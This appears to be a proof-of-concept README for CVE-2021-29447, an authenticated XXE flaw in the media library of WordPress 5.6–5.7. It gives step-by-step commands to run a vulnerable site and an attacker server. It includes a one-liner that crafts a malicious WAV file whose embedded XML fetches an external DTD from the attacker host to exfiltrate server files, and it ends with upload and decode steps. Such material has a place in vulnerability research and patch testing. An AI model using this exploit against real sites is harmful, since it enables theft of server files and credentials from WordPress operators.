CVE-2021-29447 PoC — WordPress 代码问题漏洞

Description

WordPress - Authenticated XXE (CVE-2021-29447)

介绍

# WordPress 5.6-5.7 - Authenticated (Author+) XXE (CVE-2021-29447)

## Using

### Step1. Run WordPress

```
$ make up-wp
```

### Step2. Run Attacker web server

```
$ make up-mal
```

### Step3. Generate malicious WAV file

#### Without wavefile npm (Recommend)

```
$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://host.docker.internal:8001/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav
```

#### With wavefile npm

```
$ make make-wav
```

### Step4. Login to WordPress & Upload WAV file to New Media

<img width="400" src="https://user-images.githubusercontent.com/3177297/115130382-53cdd100-a02a-11eb-9d7a-d68380c7439a.png">

### Step5. decode

<img width="500" src="https://user-images.githubusercontent.com/3177297/115130103-a35ecd80-a027-11eb-94e4-eea83ed4200f.png">

<img width="500" src="https://user-images.githubusercontent.com/3177297/115130112-b40f4380-a027-11eb-85ec-a9f254dd342b.png">

<img width="500" src="https://user-images.githubusercontent.com/3177297/115130108-ab1e7200-a027-11eb-9bc4-70a1a7531c0d.png">

## References

- [WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8 Security Vulnerability](https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5)

文件快照

备注